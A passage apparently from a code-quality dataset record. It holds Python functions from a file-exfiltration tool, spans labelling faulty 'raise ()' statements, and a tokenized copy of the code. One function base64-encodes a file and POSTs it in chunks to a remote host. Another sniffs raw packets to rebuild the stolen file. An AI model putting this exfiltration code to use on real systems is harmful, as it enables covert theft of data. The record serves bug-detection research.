str(current_chunk)\n\tpayload = {TERMINATION_COOKIE: data}\n\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\n\tsys.stdout.write(\"[+] Sent termination packets and total of %s packets.\\n\" % current_chunk)\n\n\treturn 0",
"metadata": "root.send_file",
"header": "['module', '___EOS___']",
"index": 42
},
{
"content": "def listen(local_addr, local_port=80):\n\t\"\"\"\n\tThis function will initiate a web listener (NOT SERVER!) on default port 80.\n\tIt will then capture files and save them into a local file.\n\t:param local_addr: The ip address to bind to.\n\t:param local_port: The port. If not mentioned, 80 will be chosen.\n\t:return:\n\t\"\"\"\n\tdef eth_addr(a):\n\t\tb = \"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\" % (ord(a[0]), ord(a[1]), ord(a[2]), ord(a[3]), ord(a[4]), ord(a[5]))\n\t\treturn b\n\n\ttry:\n\t\ts = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(ETH_P_ALL))\n\texcept socket.error, msg:\n\t\tsys.stderr.write('Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] + \"\\n\")\n\t\traise ()\n\n\ttry:\n\t\t# Initiate log file:\n\t\tcurrent_time_as_string = str(datetime.datetime.now()).replace(\":\", \".\").replace(\" \", \"-\")[:-7]\n\t\tlog_fh = open(LOGFILE_BASENAME + current_time_as_string + LOGFILE_EXT, WRITE_BINARY)\n\t\tlog_fh.write(\"Started logging at %s\\n\\n\" % current_time_as_string)\n\n\texcept:\n\t\tsys.stderr.write(\"Error starting log file.\\n\")\n\t\traise ()\n\n\t# Main work starts here\n\twhile True:\n\t\tpacket, address = s.recvfrom(65565)\n\t\teth_length = 14\n\n\t\teth_header = packet[:eth_length]\n\t\teth = unpack('!6s6sH', eth_header)\n\t\teth_protocol = socket.ntohs(eth[2])\n\n\t\t# Parse IP packets, IP Protocol number = 8\n\t\tif eth_protocol == 8 and address[2] == 4: # Cancel out duplicates\n\t\t\t# Parse IP header\n\t\t\tip_header = packet[eth_length:20 + eth_length] # 20 first chars are IP Header\n\t\t\tiph = unpack('!BBHHHBBH4s4s', ip_header) # Unpacking IP Header\n\n\t\t\tversion_ihl = iph[0]\n\t\t\tversion = version_ihl >> 4\n\t\t\tihl = version_ihl & 0xF\n\t\t\tiph_length = ihl * 4\n\t\t\tttl = iph[5]\n\t\t\tprotocol = iph[6]\n\t\t\ts_addr = socket.inet_ntoa(iph[8])\n\t\t\td_addr = socket.inet_ntoa(iph[9])\n\n\t\t\t# TCP protocol\n\t\t\t# Todo; later add the option to choose a port\n\t\t\tif protocol == 6:\n\t\t\t\tt = iph_length + eth_length # Add IP header and Ethernet header\n\t\t\t\ttcp_header = packet[t:t + 20] # TCP header = 20 chars\n\t\t\t\ttcph = unpack('!HHLLBBHHH', tcp_header) # Unpack it\n\n\t\t\t\tsource_port = tcph[0]\n\t\t\t\tdest_port = tcph[1]\n\t\t\t\tsequence = tcph[2]\n\t\t\t\tacknowledgement = tcph[3]\n\t\t\t\tdoff_reserved = tcph[4]\n\t\t\t\ttcph_length = doff_reserved >> 4\n\n\t\t\t\tif (dest_port == HTTP_PORT) or (source_port == HTTP_PORT):\n\t\t\t\t\tfilename = \"dfbsdgbSFGBSbSRTBsrthbSFGNsrHS$5h\" # random just to make sure no match.\n\t\t\t\t\t# Get the actual data\n\t\t\t\t\th_size = eth_length + iph_length + tcph_length * 4\n\t\t\t\t\tdata_size = len(packet) - h_size\n\t\t\t\t\tdata = packet[h_size:]\n\n\t\t\t\t\tif data.find(INIT_PACKET_COOKIE) != -1:\n\t\t\t\t\t\tdata_init_offset = data.find(INIT_PACKET_COOKIE)\n\t\t\t\t\t\tviable_data = data[data_init_offset:] # Getting right line\n\t\t\t\t\t\tfilename = viable_data[viable_data.find(\"\\\": \\\"\") + 4:viable_data.find(\"..\")] # getting filename\n\t\t\t\t\t\tviable_data = viable_data[viable_data.find(\"..\") + 2:] # trim it\n\t\t\t\t\t\tcrc = viable_data[:viable_data.find(\"..\")] # Getting CRC\n\t\t\t\t\t\tviable_data = viable_data[viable_data.find(\"..\") + 2:] # trim it\n\t\t\t\t\t\ttotal_packets = viable_data[:viable_data.find(\"\\\"}\")] # Getting packet amount\n\n\t\t\t\t\t\t# Print user friendly information\n\t\t\t\t\t\tlog_fh.write(\"Got initiation packet from \" + str(s_addr) + \".\\n\")\n\t\t\t\t\t\tlog_fh.write(\"Will now initiate capturing of: \\n\")\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tFilename:\\t%s\\n\" % filename)\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tCRC32:\\t\\t%s\\n\" % crc)\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tTotal Packets:\\t%s\\n\" % total_packets)\n\t\t\t\t\t\tlog_fh.write(\"\\t\\tOrigin IP:\\t%s\\n\" % s_addr)\n\n\t\t\t\t\t\t# Set up for file writing\n\t\t\t\t\t\tdata_packets_recvd = 0\n\t\t\t\t\t\tfh = open(filename + \"_\" + crc, WRITE_BINARY)\n\t\t\t\t\t\trecvd_data = \"\"\n\n\t\t\t\t\t# Found termination\n\t\t\t\t\telif data.find(TERMINATION_COOKIE) != -1:\n\t\t\t\t\t\tlog_fh.write(\"Termination from: %s\\n\" % s_addr)\n\t\t\t\t\t\tif zlib.crc32(recvd_data) == int(crc):\n\t\t\t\t\t\t\t# CRC32 is matched. Continuing to decryption and file saving\n\t\t\t\t\t\t\trecvd_data = base64.b64decode(recvd_data)\n\t\t\t\t\t\t\tfh.write(recvd_data)\n\t\t\t\t\t\t\tfh.close()\n\t\t\t\t\t\t\tlog_fh.write(\"[+] File has been created and saved as \" + str(filename) + \"_\" + str(crc) + \"\\n\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsys.stderr.write(\"[!] No CRC match! Will not be writing file.\\n\")\n\n\t\t\t\t\t# Found regular data\n\t\t\t\t\telif data.find(PACKET_COOKIE) != -1:\n\t\t\t\t\t\tdata_init_offset = data.find(PACKET_COOKIE)\n\t\t\t\t\t\tviable_data = data[data_init_offset:] # Getting right line\n\t\t\t\t\t\tviable_data = viable_data[viable_data.find(\"\\\": \\\"\") + 4:viable_data.find(\"\\\"}\")]\n\t\t\t\t\t\trecvd_data += viable_data\n\t\t\t\t\t\tdata_packets_recvd += 1\n\t\t\t\t\t\tsys.stdout.write(str(data_packets_recvd) + \"-\")\n\t\t\t\t\telse:\n\t\t\t\t\t\t# Must be regular HTTP request\n\t\t\t\t\t\tpass",
"metadata": "root.listen",
"header": "['module', '___EOS___']",
"index": 100
}
]
| [
{
"span": "raise ()",
"start_line": 58,
"start_column": 2,
"end_line": 58,
"end_column": 10
},
{
"span": "raise ()",
"start_line": 79,
"start_column": 2,
"end_line": 79,
"end_column": 10
},
{
"span": "raise ()",
"start_line": 116,
"start_column": 2,
"end_line": 116,
"end_column": 10
},
{
"span": "raise ()",
"start_line": 126,
"start_column": 2,
"end_line": 126,
"end_column": 10
}
]
| []
| 1 | true | [
"[CLS]_",
"Il",
"lega",
"l_",
"raise_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"send",
"\\u",
"file_",
"(_",
"addr_",
",_",
"file",
"\\u",
"path_",
",_",
"max",
"\\u",
"packet",
"\\u",
"size_",
"=_",
"1200_",
",_",
"time",
"\\u",
"delay_",
"=_",
"0.05_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"_",
"\"\"\"",
"\\",
"10",
";",
"\t",
"Thi",
"s",
" ",
"function",
" ",
"will",
" ",
"ex",
"filtr",
"ate",
" ",
"the",
" ",
"data",
" ",
"give",
"n",
".",
"\\",
"10",
";",
"\t",
":",
"param",
" ",
"addr",
":",
" ",
"IP",
" ",
"or",
" ",
"host",
"name",
" ",
"to",
" ",
"ex",
"filtr",
"ate",
" ",
"the",
" ",
"data",
" ",
"to",
"\\",
"10",
";",
"\t",
":",
"param",
" ",
"file",
"\\u",
"path",
":",
" ",
"Path",
" ",
"of",
" ",
"the",
" ",
"file",
" ",
"to",
" ",
"ex",
"filtr",
"ate",
"\\",
"10",
";",
"\t",
":",
"param",
" ",
"max",
"\\u",
"packet",
"\\u",
"size",
":",
" ",
"If",
" ",
"not",
" ",
"set",
" ",
"the",
" ",
"max",
" ",
"size",
" ",
"is",
" ",
"1200",
"\\",
"10",
";",
"\t",
":",
"param",
" ",
"time",
"\\u",
"dela",
"y",
":",
" ",
"If",
" ",
"not",
" ",
"set",
" ",
"time",
" ",
"dela",
"y",
" ",
"bet",
"ween",
" ",
"packet",
"s",
" ",
"is",
" ",
"0.05",
" ",
"second",
"s",
"\\",
"10",
";",
"\t",
":",
"return",
":",
"\\",
"10",
";",
"\t",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Load",
" ",
"file_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"fh_",
"=_",
"open_",
"(_",
"file",
"\\u",
"path_",
",_",
"READ",
"\\u",
"BINARY_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"i",
"Am",
"File_",
"=_",
"fh_",
"._",
"read_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fh_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"sys_",
"._",
"stderr_",
"._",
"write_",
"(_",
"\"",
"Error",
" ",
"readi",
"ng",
" ",
"file",
"!\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Split",
" ",
"file",
" ",
"to",
" ",
"chunks",
" ",
"by",
" ",
"size",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"chunks_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Ia",
"m",
"Done_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"Ia",
"m",
"Done_",
"=_",
"base64_",
"._",
"b64encode_",
"(_",
"i",
"Am",
"File_",
")_",
"#",
" ",
"Base",
"64",
" ",
"Encode",
" ",
"for",
" ",
"ASCII",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"checksum_",
"=_",
"zlib_",
"._",
"crc",
"32_",
"(_",
"Ia",
"m",
"Done_",
")_",
"#",
" ",
"Calculat",
"e",
" ",
"CR",
"C3",
"2",
" ",
"for",
" ",
"late",
"r",
" ",
"verification",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"chunks_",
"=_",
"[_",
"Ia",
"m",
"Done_",
"[_",
"i_",
":_",
"i_",
"+_",
"max",
"\\u",
"packet",
"\\u",
"size_",
"]_",
"for_",
"i_",
"in_",
"range_",
"(_",
"0_",
",_",
"len_",
"(_",
"Ia",
"m",
"Done_",
")_",
",_",
"max",
"\\u",
"packet",
"\\u",
"size_",
")_",
"]_",
"#",
" ",
"Split",
" ",
"int",
"o",
" ",
"chunks_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"head_",
",_",
"tail_",
"=_",
"os_",
"._",
"path_",
"._",
"split_",
"(_",
"file",
"\\u",
"path_",
")_",
"#",
" ",
"Get",
" ",
"filename_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Initial",
" ",
"packet",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"init",
"\\u",
"payload_",
"=_",
"tail_",
"+_",
"COOKIE",
"\\u",
"DELIMITER",
"_",
"+_",
"str_",
"(_",
"checksum_",
")_",
"+_",
"COOKIE",
"\\u",
"DELIMITER",
"_",
"+_",
"str_",
"(_",
"len_",
"(_",
"chunks_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"payload_",
"=_",
"{_",
"INIT",
"\\u",
"PACKET",
"\\u",
"COOKIE",
"_",
":_",
"init",
"\\u",
"payload_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"requests_",
"._",
"post_",
"(_",
"addr_",
",_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"payload_",
")_",
",_",
"headers_",
"=_",
"HEADERS_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"stdout_",
"._",
"write_",
"(_",
"\"[",
"+]",
" ",
"Sent",
" ",
"initiati",
"on",
" ",
"package",
".",
" ",
"Total",
" ",
"of",
" ",
"%",
"s",
" ",
"chunks",
".\\\\",
"n",
"\"_",
"%_",
"(_",
"len_",
"(_",
"chunks_",
")_",
"+_",
"2_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"stdout_",
"._",
"write_",
"(_",
"\".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"time",
"\\u",
"delay_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"sys_",
"._",
"stderr_",
"._",
"write_",
"(_",
"\"",
"Una",
"ble",
" ",
"to",
" ",
"reach",
" ",
"target",
" ",
"with",
" ",
"error",
":\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Sen",
"d",
" ",
"data_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"current",
"\\u",
"chunk_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"chunk_",
"in_",
"chunks_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"payload_",
"=_",
"{_",
"PACKET",
"\\u",
"COOKIE",
"_",
"+_",
"str_",
"(_",
"current",
"\\u",
"chunk_",
")_",
":_",
"chunk_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"requests_",
"._",
"post_",
"(_",
"addr_",
",_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"payload_",
")_",
",_",
"headers_",
"=_",
"HEADERS_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"current",
"\\u",
"chunk_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"stdout_",
"._",
"write_",
"(_",
"\".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"time",
"\\u",
"delay_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"sys_",
"._",
"stdout_",
"._",
"write_",
"(_",
"\".\\",
"\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Terminati",
"on",
" ",
"packet_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"DATA",
"\\u",
"END_",
"+_",
"str_",
"(_",
"current",
"\\u",
"chunk_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"payload_",
"=_",
"{_",
"TERMINAT",
"ION",
"\\u",
"COOKIE",
"_",
":_",
"data_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"requests_",
"._",
"post_",
"(_",
"addr_",
",_",
"data_",
"=_",
"json_",
"._",
"dumps_",
"(_",
"payload_",
")_",
",_",
"headers_",
"=_",
"HEADERS_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"stdout_",
"._",
"write_",
"(_",
"\"[",
"+]",
" ",
"Sent",
" ",
"termination",
" ",
"packet",
"s",
" ",
"and",
" ",
"total",
" ",
"of",
" ",
"%",
"s",
" ",
"packet",
"s",
".\\\\",
"n",
"\"_",
"%_",
"current",
"\\u",
"chunk_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"listen_",
"(_",
"local",
"\\u",
"addr_",
",_",
"local",
"\\u",
"port_",
"=_",
"80_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"_",
"\"\"\"",
"\\",
"10",
";",
"\t",
"Thi",
"s",
" ",
"function",
" ",
"will",
" ",
"initiate",
" ",
"a",
" ",
"web",
" ",
"listen",
"er",
" ",
"(",
"NOT",
" ",
"SERVER",
"!)",
" ",
"on",
" ",
"default",
" ",
"port",
" ",
"80.",
"\\",
"10",
";",
"\t",
"It",
" ",
"will",
" ",
"then",
" ",
"captur",
"e",
" ",
"files",
" ",
"and",
" ",
"save",
" ",
"them",
" ",
"int",
"o",
" ",
"a",
" ",
"local",
" ",
"file",
".",
"\\",
"10",
";",
"\t",
":",
"param",
" ",
"local",
"\\u",
"addr",
":",
" ",
"The",
" ",
"ip",
" ",
"address",
" ",
"to",
" ",
"bind",
" ",
"to",
".",
"\\",
"10",
";",
"\t",
":",
"param",
" ",
"local",
"\\u",
"port",
":",
" ",
"The",
" ",
"port",
".",
" ",
"If",
" ",
"not",
" ",
"mentioned",
",",
" ",
"80",
" ",
"will",
" ",
"be",
" ",
"chosen",
".",
"\\",
"10",
";",
"\t",
":",
"return",
":",
"\\",
"10",
";",
"\t",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"eth",
"\\u",
"addr_",
"(_",
"a_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"b_",
"=_",
"\"%",
".2",
"x",
":",
"%",
".2",
"x",
":",
"%",
".2",
"x",
":",
"%",
".2",
"x",
":",
"%",
".2",
"x",
":",
"%",
".2",
"x",
"\"_",
"%_",
"(_",
"ord_",
"(_",
"a_",
"[_",
"0_",
"]_",
")_",
",_",
"ord_",
"(_",
"a_",
"[_",
"1_",
"]_",
")_",
",_",
"ord_",
"(_",
"a_",
"[_",
"2_",
"]_",
")_",
",_",
"ord_",
"(_",
"a_",
"[_",
"3_",
"]_",
")_",
",_",
"ord_",
"(_",
"a_",
"[_",
"4_",
"]_",
")_",
",_",
"ord_",
"(_",
"a_",
"[_",
"5_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"b_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"s_",
"=_",
"socket_",
"._",
"socket_",
"(_",
"socket_",
"._",
"AF",
"\\u",
"PACKET",
"_",
",_",
"socket_",
"._",
"SOCK",
"\\u",
"RAW_",
",_",
"socket_",
"._",
"nto",
"hs_",
"(_",
"ETH",
"\\u",
"P",
"\\u",
"ALL_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"socket_",
"._",
"error_",
",_",
"msg_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"sys_",
"._",
"stderr_",
"._",
"write_",
"(_",
"'",
"Sock",
"et",
" ",
"coul",
"d",
" ",
"not",
" ",
"be",
" ",
"created",
".",
" ",
"Error",
" ",
"Code",
" ",
":",
" ",
"'_",
"+_",
"str_",
"(_",
"msg_",
"[_",
"0_",
"]_",
")_",
"+_",
"'",
" ",
"Messag",
"e",
" ",
"'_",
"+_",
"msg_",
"[_",
"1_",
"]_",
"+_",
"\"\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Initiat",
"e",
" ",
"log",
" ",
"file",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"current",
"\\u",
"time",
"\\u",
"as",
"\\u",
"string_",
"=_",
"str_",
"(_",
"datetime_",
"._",
"datetime_",
"._",
"now_",
"(_",
")_",
")_",
"._",
"replace_",
"(_",
"\":\"_",
",_",
"\".\"_",
")_",
"._",
"replace_",
"(_",
"\"",
" ",
"\"_",
",_",
"\"-\"_",
")_",
"[_",
":_",
"-_",
"7_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"=_",
"open_",
"(_",
"LOG",
"FILE",
"\\u",
"BASE",
"NAME_",
"+_",
"current",
"\\u",
"time",
"\\u",
"as",
"\\u",
"string_",
"+_",
"LOG",
"FILE",
"\\u",
"EXT_",
",_",
"WRITE",
"\\u",
"BINARY_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"",
"Start",
"ed",
" ",
"logg",
"ing",
" ",
"at",
" ",
"%",
"s",
"\\\\",
"n",
"\\\\",
"n",
"\"_",
"%_",
"current",
"\\u",
"time",
"\\u",
"as",
"\\u",
"string_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"sys_",
"._",
"stderr_",
"._",
"write_",
"(_",
"\"",
"Error",
" ",
"startin",
"g",
" ",
"log",
" ",
"file",
".\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Main",
" ",
"work",
" ",
"starts",
" ",
"here_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"packet_",
",_",
"address_",
"=_",
"s_",
"._",
"recv",
"from_",
"(_",
"655",
"65_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"eth",
"\\u",
"length_",
"=_",
"14_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"eth",
"\\u",
"header_",
"=_",
"packet_",
"[_",
":_",
"eth",
"\\u",
"length_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"eth_",
"=_",
"unpack_",
"(_",
"'!",
"6",
"s",
"6",
"s",
"H",
"'_",
",_",
"eth",
"\\u",
"header_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"eth",
"\\u",
"protocol_",
"=_",
"socket_",
"._",
"nto",
"hs_",
"(_",
"eth_",
"[_",
"2_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Pars",
"e",
" ",
"IP",
" ",
"packet",
"s",
",",
" ",
"IP",
" ",
"Proto",
"col",
" ",
"number",
" ",
"=",
" ",
"8_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"eth",
"\\u",
"protocol_",
"==_",
"8_",
"and_",
"address_",
"[_",
"2_",
"]_",
"==_",
"4_",
":_",
"#",
" ",
"Cancel",
" ",
"out",
" ",
"duplicates_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Pars",
"e",
" ",
"IP",
" ",
"header_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t_",
"ip",
"\\u",
"header_",
"=_",
"packet_",
"[_",
"eth",
"\\u",
"length_",
":_",
"20_",
"+_",
"eth",
"\\u",
"length_",
"]_",
"#",
" ",
"20",
" ",
"first",
" ",
"char",
"s",
" ",
"are",
" ",
"IP",
" ",
"Header_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iph",
"_",
"=_",
"unpack_",
"(_",
"'!",
"BB",
"HHH",
"BB",
"H",
"4",
"s",
"4",
"s",
"'_",
",_",
"ip",
"\\u",
"header_",
")_",
"#",
" ",
"Unpack",
"ing",
" ",
"IP",
" ",
"Header_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"version",
"\\u",
"ih",
"l_",
"=_",
"iph",
"_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"version_",
"=_",
"version",
"\\u",
"ih",
"l_",
">>_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ih",
"l_",
"=_",
"version",
"\\u",
"ih",
"l_",
"&_",
"0xF",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iph",
"\\u",
"length_",
"=_",
"ih",
"l_",
"*_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ttl_",
"=_",
"iph",
"_",
"[_",
"5_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"protocol_",
"=_",
"iph",
"_",
"[_",
"6_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"s",
"\\u",
"addr_",
"=_",
"socket_",
"._",
"inet",
"\\u",
"nto",
"a_",
"(_",
"iph",
"_",
"[_",
"8_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d\\u",
"addr_",
"=_",
"socket_",
"._",
"inet",
"\\u",
"nto",
"a_",
"(_",
"iph",
"_",
"[_",
"9_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"TC",
"P",
" ",
"protocol_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Todo",
";",
" ",
"late",
"r",
" ",
"add",
" ",
"the",
" ",
"option",
" ",
"to",
" ",
"choose",
" ",
"a",
" ",
"port_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"protocol_",
"==_",
"6_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t_",
"t_",
"=_",
"iph",
"\\u",
"length_",
"+_",
"eth",
"\\u",
"length_",
"#",
" ",
"Add",
" ",
"IP",
" ",
"header",
" ",
"and",
" ",
"Ether",
"net",
" ",
"header_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tcp",
"\\u",
"header_",
"=_",
"packet_",
"[_",
"t_",
":_",
"t_",
"+_",
"20_",
"]_",
"#",
" ",
"TC",
"P",
" ",
"header",
" ",
"=",
" ",
"20",
" ",
"chars_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tcp",
"h_",
"=_",
"unpack_",
"(_",
"'!",
"HH",
"LL",
"BB",
"HHH",
"'_",
",_",
"tcp",
"\\u",
"header_",
")_",
"#",
" ",
"Unpack",
" ",
"it_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"source",
"\\u",
"port_",
"=_",
"tcp",
"h_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"dest",
"\\u",
"port_",
"=_",
"tcp",
"h_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sequence_",
"=_",
"tcp",
"h_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"acknowledge",
"ment_",
"=_",
"tcp",
"h_",
"[_",
"3_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"dof",
"f",
"\\u",
"reserved_",
"=_",
"tcp",
"h_",
"[_",
"4_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tcp",
"h",
"\\u",
"length_",
"=_",
"dof",
"f",
"\\u",
"reserved_",
">>_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"(_",
"dest",
